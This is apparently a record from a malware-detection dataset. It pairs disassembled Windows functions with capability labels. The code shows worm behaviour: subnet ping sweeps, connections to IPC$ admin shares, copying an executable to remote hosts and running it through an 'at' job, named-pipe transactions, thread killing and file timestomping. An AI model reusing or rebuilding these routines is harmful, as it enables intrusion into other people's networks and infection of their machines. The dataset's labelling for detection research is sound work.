joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406020
Capabilities:
Connect network resource
Initialize winsock library
Read pipe
Write pipe

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1418
call fcn.004075a0
and dword [ebp - 0x194], 0
or dword [ebp - 0x3cc], 0xffffffff
movzx eax, byte [0x40a452]
cmp eax, 0xfffffff2
jne 0x40604e
xor eax, eax
jmp 0x40625e
lea eax, [ebp - 0x190]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0x104
push 0
lea eax, [ebp - 0x3a8]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0
push dword [ebp + 8]
push str._spipe_s
lea eax, [ebp - 0x3a8]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
and dword [ebp - 0x3c4], 0
and dword [ebp - 0x3b8], 0
lea eax, [ebp - 0x3a8]
mov dword [ebp - 0x3b4], eax
and dword [ebp - 0x3ac], 0
push 0
push 0x408cd8
push 0x408cd8
lea eax, [ebp - 0x3c8]
push eax
call sub.MPR.dll_WNetAddConnection2A
test eax, eax
je 0x4060d4
xor eax, eax
jmp 0x40625e
push 0x104
push 0
lea eax, [ebp - 0x2a0]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push str._browser
push dword [ebp + 8]
push str._spipe_s
lea eax, [ebp - 0x2a0]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0
push 0
push 3
push 0
push 0
push 0xc0000000
lea eax, [ebp - 0x2a0]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x3cc], eax
cmp dword [ebp - 0x3cc], 0xffffffff
jne 0x40613f
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
jmp 0x40625e
push 0x48
push str.y_b_t
lea eax, [ebp - 0x1418]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea eax, [ebp - 0x13f8]
push eax
push 0x40a4c4
call dword [sym.imp.RPCRT4.dll_UuidFromStringA]
push 0x40a4c4
lea eax, [ebp - 0x13f8]
push eax
call dword [sym.imp.RPCRT4.dll_UuidToStringA]
push 3
pop eax
mov word [ebp - 0x13e8], ax
xor eax, eax
mov word [ebp - 0x13e6], ax
push 0x1000
push 0
lea eax, [ebp - 0x13d0]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0
lea eax, [ebp - 0x194]
push eax
push 0x1000
lea eax, [ebp - 0x13d0]
push eax
push 0x48
lea eax, [ebp - 0x1418]
push eax
push dword [ebp - 0x3cc]
call dword [sym.imp.KERNEL32.dll_TransactNamedPipe]
push 0x139
push 0x40a388
push 0x40a1ea
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 0
lea eax, [ebp - 0x194]
push eax
push 0x1000
lea eax, [ebp - 0x13d0]
push eax
push 0x1e4
push 0x40a1a0
push dword [ebp - 0x3cc]
call dword [sym.imp.KERNEL32.dll_TransactNamedPipe]
push 0
lea eax, [ebp - 0x194]
push eax
push 0x1000
lea eax, [ebp - 0x13d0]
push eax
push 0xa4
push 0x40a0f8
push dword [ebp - 0x3cc]
call dword [sym.imp.KERNEL32.dll_TransactNamedPipe]
push dword [ebp - 0x3cc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
push 1
lea eax, [ebp - 0x3a8]
push eax
call sub.MPR.dll_WNetCancelConnection2A
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
inc eax
leave
ret 4
Function at 0x406262
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Read file on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x880
and dword [ebp - 0xc], 0
and dword [ebp - 8], 0
and dword [ebp - 4], 0
and dword [ebp - 0x2c], 0
push 0x10
push 0
lea eax, [ebp - 0x1c]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0xc
push 0
lea eax, [ebp - 0x28]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x28], 0xc
and dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 1
push 0x400
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x4062d2
jmp 0x4063e8
push 0x400
push 0
lea eax, [ebp - 0x880]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [ebp + 8]
push dword [ebp + 0xc]
push 0x40c610
push str._sping.exe__n_1__w__d__s
lea eax, [ebp - 0x880]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
push 0x44
push 0
lea eax, [ebp - 0x78]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x78], 0x44
mov eax, dword [ebp - 4]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x4c], 0x101
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x78]
push eax
push 0
push 0
push 0xc000000
push 1
push 0
push 0
lea eax, [ebp - 0x880]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x406366
jmp 0x4063e8
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp + 0xc]
add eax, 0x64
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x406393
jmp 0x4063e8
push 0x404
push 0
lea eax, [ebp - 0x480]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0
lea eax, [ebp - 8]
push eax
push 0x400
lea eax, [ebp - 0x480]
push eax
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp eax, 1
jne 0x4063e8
push str.TTL
lea eax, [ebp - 0x480]
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
pop ecx
test eax, eax
je 0x4063e8
mov dword [ebp - 0xc], 1
cmp dword [ebp - 0x1c], 0
je 0x406402
push 0
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x2c], 0
je 0x406411
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0xc]
leave
ret 8
Function at 0x406418
Capabilities:
Contain obfuscated stackstrings
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x154
or dword [ebp - 0x14], 0xffffffff
and dword [ebp - 0x40], 0
mov dword [ebp - 8], 0x4000
and dword [ebp - 4], 0
and dword [ebp - 0xc], 0
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
push 0
push 0
push 2
call sub.MPR.dll_WNetOpenEnumA
test eax, eax
je 0x406453
jmp 0x4065f4
push dword [ebp - 8]
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x40646c
jmp 0x4065f4
mov dword [ebp - 0x3c], 0x74654e57
mov dword [ebp - 0x38], 0x6d756e45
mov dword [ebp - 0x34], 0x6f736552
mov dword [ebp - 0x30], 0x65637275
mov dword [ebp - 0x2c], 0x41
lea eax, [ebp - 0x3c]
push eax
push str.Mpr.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x10], eax
push dword [ebp - 8]
push 0
push dword [ebp - 0xc]
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 8]
push eax
push dword [ebp - 0xc]
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 4]
call dword [ebp - 0x10]
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
jne 0x4065cb
and dword [ebp - 0x44], 0
jmp 0x4064e3
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
cmp eax, dword [ebp - 0x14]
jae 0x4065c9
mov eax, dword [ebp - 0x44]
shl eax, 5
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx + eax + 0xc]
and eax, 1
je 0x4065a3
or dword [ebp - 0x154], 0xffffffff
mov eax, dword [ebp - 0x44]
shl eax, 5
mov ecx, dword [ebp - 0xc]
push dword [ecx + eax + 0x14]
push str._sdesktop.txt
lea eax, [ebp - 0x150]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
lea eax, [ebp - 0x150]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x154], eax
cmp dword [ebp - 0x154], 0xffffffff
je 0x4065a3
push dword [ebp - 0x154]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x150]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [ebp - 0x44]
shl eax, 5
mov ecx, dword [ebp - 0xc]
push dword [ecx + eax + 0x14]
push 0x408968
lea eax, [ebp - 0x150]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x150]
push eax
call fcn.00404d15
mov eax, dword [ebp - 0x44]
shl eax, 5
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx + eax + 0xc]
and eax, 2
je 0x4065c4
mov eax, dword [ebp - 0x44]
shl eax, 5
add eax, dword [ebp - 0xc]
push eax
call fcn.00406418
jmp 0x4064dc
jmp 0x4065d6
cmp dword [ebp - 0x40], 0x103
je 0x4065d6
jmp 0x4065e3
cmp dword [ebp - 0x40], 0x103
jne 0x4064a8
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push dword [ebp - 4]
call sub.MPR.dll_WNetCloseEnum
leave
ret 4
Function at 0x406711
Capabilities:
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1e8
mov dword [ebp - 0x194], 1
and dword [ebp - 0x1dc], 0
lea eax, [ebp - 0x190]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0x40
push 0
lea eax, [ebp - 0x1d8]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x40
lea eax, [ebp - 0x1d8]
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
lea eax, [ebp - 0x1d8]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 0x1dc], eax
cmp dword [ebp - 0x1dc], 0
jne 0x40678c
and dword [ebp - 0x194], 0
jmp 0x406914
push 4
push 0
push dword [ebp + 8]
call sub.MSVCRT.dll_memset
add esp, 0xc
and dword [ebp - 0x1e0], 0
jmp 0x4067b1
mov eax, dword [ebp - 0x1e0]
inc eax
mov dword [ebp - 0x1e0], eax
mov eax, dword [ebp - 0x1dc]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x1e0]
cmp dword [eax + ecx*4], 0
je 0x406905
mov eax, dword [ebp - 0x1dc]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x1e0]
mov eax, dword [eax + ecx*4]
movzx eax, byte [eax]
mov dword [ebp - 0x1e8], eax
mov eax, dword [ebp - 0x1dc]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x1e0]
mov eax, dword [eax + ecx*4]
movzx eax, byte [eax + 1]
mov dword [ebp - 0x1e4], eax
cmp dword [ebp + 0xc], 1
jne 0x406882
cmp dword [ebp - 0x1e8], 0xc0
jne 0x40681f
cmp dword [ebp - 0x1e4], 0xa8
je 0x40685e
cmp dword [ebp - 0x1e8], 0xa9
jne 0x406837
cmp dword [ebp - 0x1e4], 0xfe
je 0x40685e
cmp dword [ebp - 0x1e8], 0xac
jne 0x40684c
cmp dword [ebp - 0x1e4], 0x10
je 0x40685e
cmp dword [ebp - 0x1e8], 0xa
je 0x40685e
cmp dword [ebp - 0x1e8], 0x7f
jne 0x406882
push 4
mov eax, dword [ebp - 0x1dc]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x1e0]
push dword [eax + ecx*4]
push dword [ebp + 8]
call sub.MSVCRT.dll_memcpy
add esp, 0xc
jmp 0x406905
cmp dword [ebp + 0xc], 2
jne 0x406900
cmp dword [ebp - 0x1e8], 0xc0
je 0x406900
cmp dword [ebp - 0x1e4], 0xa8
je 0x406900
cmp dword [ebp - 0x1e8], 0xa9
je 0x406900
cmp dword [ebp - 0x1e4], 0xfe
je 0x406900
cmp dword [ebp - 0x1e8], 0xac
je 0x406900
cmp dword [ebp - 0x1e4], 0x10
je 0x406900
cmp dword [ebp - 0x1e8], 0xa
je 0x406900
cmp dword [ebp - 0x1e8], 0x7f
je 0x406900
push 4
mov eax, dword [ebp - 0x1dc]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x1e0]
push dword [eax + ecx*4]
push dword [ebp + 8]
call sub.MSVCRT.dll_memcpy
add esp, 0xc
jmp 0x406905
jmp 0x4067a4
mov eax, dword [ebp + 8]
cmp dword [eax], 0
jne 0x406914
and dword [ebp - 0x194], 0
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, dword [ebp - 0x194]
leave
ret 8
Function at 0x406924
Capabilities:
Connect network resource
Create process on windows
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x590
and dword [ebp - 0x28], 0
or dword [ebp - 0x2c], 0xffffffff
mov eax, dword [sym.imp.USER32.dll_wsprintfA]
mov dword [ebp - 0x24], eax
push 0x40
push 0
lea eax, [ebp - 0x70]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [ebp + 8]
push str._sipc_
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
and dword [ebp - 0x18], 0
mov dword [ebp - 0x20], 2
and dword [ebp - 0x1c], 0
mov dword [ebp - 0x14], 1
and dword [ebp - 8], 0
mov dword [ebp - 0x10], 0x408cd8
and dword [ebp - 4], 0
lea eax, [ebp - 0x70]
mov dword [ebp - 0xc], eax
push 0
push dword [ebp + 0xc]
push dword [ebp + 0x10]
lea eax, [ebp - 0x20]
push eax
call sub.MPR.dll_WNetAddConnection2A
test eax, eax
je 0x4069aa
mov eax, dword [ebp - 0x28]
jmp 0x406abd
push 0x104
push 0
lea eax, [ebp - 0x178]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.CONFIG
push 0x408d38
push dword [ebp + 8]
push str._s_s_s.exe
lea eax, [ebp - 0x178]
push eax
call dword [ebp - 0x24]
add esp, 0x14
push 0
push 0x80
push 2
push 0
push 3
push 0xc0000000
lea eax, [ebp - 0x178]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0xffffffff
je 0x406aad
and dword [ebp - 0x17c], 0
push 0
lea eax, [ebp - 0x17c]
push eax
push dword [0x40cd68]
push dword [0x40cd64]
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0x17c]
cmp eax, dword [0x40cd68]
jne 0x406aa4
lea eax, [ebp - 0x590]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
push 0x400
push 0
lea eax, [ebp - 0x580]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.CONFIG
movzx eax, word [ebp - 0x586]
add eax, 3
push eax
movzx eax, word [ebp - 0x588]
push eax
push dword [ebp + 8]
push str.at__s__d:_d_C:_s.exe
lea eax, [ebp - 0x580]
push eax
call dword [ebp - 0x24]
add esp, 0x18
push 0
lea eax, [ebp - 0x580]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
mov dword [ebp - 0x28], 1
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
push 1
lea eax, [ebp - 0x70]
push eax
call sub.MPR.dll_WNetCancelConnection2A
mov eax, dword [ebp - 0x28]
leave
ret 0xc
Function at 0x406bc8
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
and dword [ebp - 8], 0
push 4
push 0
lea eax, [ebp - 4]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [ebp + 8]
lea eax, [ebp - 4]
push eax
call fcn.00406711
movzx eax, byte [ebp - 1]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], 2
jmp 0x406c05
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xff
jge 0x406ce5
push 0x40
push 0
lea eax, [ebp - 0x50]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [ebp - 0xc]
movzx eax, byte [ebp - 2]
push eax
movzx eax, byte [ebp - 3]
push eax
movzx eax, byte [ebp - 4]
push eax
push str._d._d._d._d
lea eax, [ebp - 0x50]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 8]
jne 0x406c50
jmp 0x406bfe
push 0xfa0
lea eax, [ebp - 0x50]
push eax
call fcn.00406262
test eax, eax
jne 0x406c64
jmp 0x406bfe
push 1
lea eax, [ebp - 0x50]
push eax
call fcn.004065f8
cmp eax, 1
jne 0x406c76
jmp 0x406bfe
cmp dword [ebp + 8], 2
jne 0x406c95
lea eax, [ebp - 0x50]
push eax
call fcn.00406020
cmp eax, 1
jne 0x406c95
push 2
lea eax, [ebp - 0x50]
push eax
call fcn.004065f8
cmp dword [ebp + 8], 1
jne 0x406ce0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x50]
mov dword [ebp - 0x54], eax
push 0
push 0
lea eax, [ebp - 0x58]
push eax
push 0x406ac1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x1388
push dword [ebp - 0x58]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x58]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x406bfe
leave
ret 4
Function at 0x40724b
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
and dword [ebp - 0x14], 0
and dword [ebp - 0x10], 0
and dword [ebp - 0x34], 0
and dword [ebp - 0xc], 0
and dword [ebp - 0x50], 0
and dword [ebp - 0x3c], 0
and dword [ebp - 4], 0
and dword [ebp - 0x4c], 0
mov dword [ebp - 0x38], sub.KERNEL32.dll_CreateToolhelp32Snapshot
and dword [ebp - 8], 0
push str.Kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x4c], eax
push str.Thread32First
push dword [ebp - 0x4c]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
push 0xc
push 0
lea eax, [ebp - 0x48]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0xc
lea eax, [ebp - 0x48]
push eax
push dword [0x40cd28]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call sub.PSAPI.DLL_GetModuleInformation
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x50]
add eax, dword [ebp - 0x44]
mov dword [ebp - 0x3c], eax
cmp dword [0x40cd54], 0
je 0x4072f8
push dword [0x40cd54]
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0x7d0
push dword [0x40cd58]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x14], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x10], eax
push 0
push 4
call dword [ebp - 0x38]
mov dword [ebp - 4], eax
push 0x1c
push 0
lea eax, [ebp - 0x30]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x30], 0x1c
lea eax, [ebp - 0x30]
push eax
push dword [ebp - 4]
call dword [ebp - 8]
mov eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x14]
jne 0x40739d
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0x10]
je 0x40739d
and dword [ebp - 0x54], 0
push dword [ebp - 0x28]
push 1
push 0x41
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0
jne 0x407361
jmp 0x40739d
and dword [ebp - 0x34], 0
lea eax, [ebp - 0xc]
push eax
push 4
lea eax, [ebp - 0x34]
push eax
push 9
push dword [ebp - 0x54]
call dword [sym.imp.ntdll.dll_ZwQueryInformationThread]
cmp dword [ebp - 0x34], 0
jne 0x407382
jmp 0x40739d
mov eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x50]
jb 0x40739d
mov eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x3c]
ja 0x40739d
push 0
push dword [ebp - 0x54]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
lea eax, [ebp - 0x30]
push eax
push dword [ebp - 4]
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x407335
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
leave
ret

Function at 0x408950
Capabilities:
Encode data using xor

Disassembly:
mov ecx, 0x4085d8
call fcn.00408972
inc eax
and esi, esi
xor dword [edx], ecx
inc edx
dec esi
sub esi, 0xc45c4fff
cmp edx, edi
jne fcn.00408950
ret
Function at 0x401229
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov esi, 0x104
push esi
call fcn.00402d80
pop ecx
push esi
mov edi, eax
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push esi
call fcn.00402d80
push edi
mov dword [ebp - 8], eax
call fcn.00401d50
mov ebx, eax
push ebx
call fcn.00402d80
mov esi, eax
add esp, 0xc
xor eax, eax
test ebx, ebx
mov dword [ebp - 4], esi
jle 0x40128b
mov ecx, edi
sub esi, edi
mov dl, byte [ecx]
cmp dl, 0x2e
je 0x401284
inc eax
mov byte [esi + ecx], dl
inc ecx
cmp eax, ebx
jl 0x401272
jmp 0x40128b
mov ecx, dword [ebp - 4]
mov byte [ecx + eax], 0
push dword [ebp - 4]
push str._s.cab
push dword [ebp - 8]
call fcn.00401cb9
add esp, 0xc
push 1
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_WinExec]
neg eax
pop edi
sbb eax, eax
pop esi
neg eax
pop ebx
leave
ret

Function at 0x4012b4
Capabilities:
Copy file
Delete file
Get file attributes
Set file attributes
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
mov eax, dword [0x4110fc]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push dword [0x4348f4]
mov ebx, ecx
mov dword [ebp - 0x114], ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov edi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x80
push ebx
mov dword [ebp - 0x118], eax
call edi
xor esi, esi
push esi
push esi
push 3
push esi
push esi
push 0x80000000
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateFileA]
call ebx
lea ecx, [ebp - 0x12c]
push ecx
push esi
lea ecx, [ebp - 0x124]
push ecx
push eax
mov dword [ebp - 0x11c], eax
call dword [sym.imp.KERNEL32.dll_GetFileTime]
push dword [ebp - 0x11c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x104
lea eax, [ebp - 0x110]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push esi
push dword [0x4348f4]
lea eax, [ebp - 0x110]
push eax
mov dword [0x4348f8], eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x4013d6
lea eax, [ebp - 0x110]
push eax
push dword [ebp - 0x114]
call fcn.00401000
push dword [ebp - 0x114]
call fcn.00401b21
add esp, 0xc
push esi
push esi
push 3
push esi
push esi
push 0x100
push dword [0x4348f4]
call ebx
mov ebx, eax
lea eax, [ebp - 0x12c]
push eax
push esi
lea eax, [ebp - 0x124]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x118]
push dword [0x4348f4]
call edi
push 2
push dword [ebp - 0x114]
call edi
xor eax, eax
inc eax
jmp 0x4013d8
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401caa
leave
ret
Function at 0x4013e7
Capabilities:
Copy file
Enumerate files on windows
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x280
mov eax, dword [0x4110fc]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
lea ecx, [ebp - 0x10]
push ecx
push eax
mov esi, str..exe
lea edi, [ebp - 0x10]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x270], eax
lea eax, [ebp - 0x11c]
xor ebx, ebx
push str._s_s
push eax
mov dword [ebp - 0x264], ebx
movsw word es:[edi], word [esi]
mov dword [ebp - 0x27c], ebx
call fcn.00401cb9
add esp, 0x10
lea eax, [ebp - 0x25c]
push eax
lea eax, [ebp - 0x11c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp - 0x278], eax
jne 0x401465
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x4015e4
mov esi, 0x104
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push ebx
push ebx
mov edi, eax
push 0x6d
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push ebx
lea eax, [ebp - 0x280]
push eax
push 1
lea eax, [ebp - 0x25d]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [ebp - 0x25d], 0x30
je 0x40159c
push esi
call fcn.00402d80
pop ecx
push esi
mov dword [ebp - 0x268], eax
call fcn.00402d80
mov edi, eax
pop ecx
lea eax, [ebp - 0x230]
push eax
call fcn.00401d50
pop ecx
mov ebx, eax
push ebx
call fcn.00402d80
pop ecx
xor ecx, ecx
test ebx, ebx
mov dword [ebp - 0x274], eax
jle 0x401530
mov dword [ebp - 0x26c], eax
lea eax, [ebp - 0x230]
sub dword [ebp - 0x26c], eax
mov al, byte [ebp + ecx - 0x230]
cmp al, 0x2e
je 0x401526
mov edx, dword [ebp - 0x26c]
add edx, ecx
inc ecx
cmp ecx, ebx
mov byte [ebp + edx - 0x230], al
jl 0x401505
jmp 0x401530
mov eax, dword [ebp - 0x274]
mov byte [eax + ecx], 0
push dword [ebp - 0x274]
push dword [ebp - 0x270]
push str._s_s.cab
push esi
push dword [ebp - 0x268]
call fcn.00401d34
add esp, 0x14
lea eax, [ebp - 0x230]
push eax
push dword [ebp - 0x270]
push str._s_s
push esi
push edi
call fcn.00401d34
add esp, 0x14
push 1
push dword [ebp - 0x268]
mov dword [0x4348f4], edi
push edi
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x40159a
mov ecx, dword [ebp - 0x268]
call fcn.004012b4
test eax, eax
je 0x40159a
inc dword [ebp - 0x264]
xor ebx, ebx
lea eax, [ebp - 0x25c]
push eax
push dword [ebp - 0x278]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x4015bc
cmp dword [ebp - 0x264], 2
jne 0x4015d2
push dword [ebp - 0x278]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov dword [ebp - 0x27c], 1
cmp dword [ebp - 0x27c], ebx
je 0x40146a
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401caa
leave
ret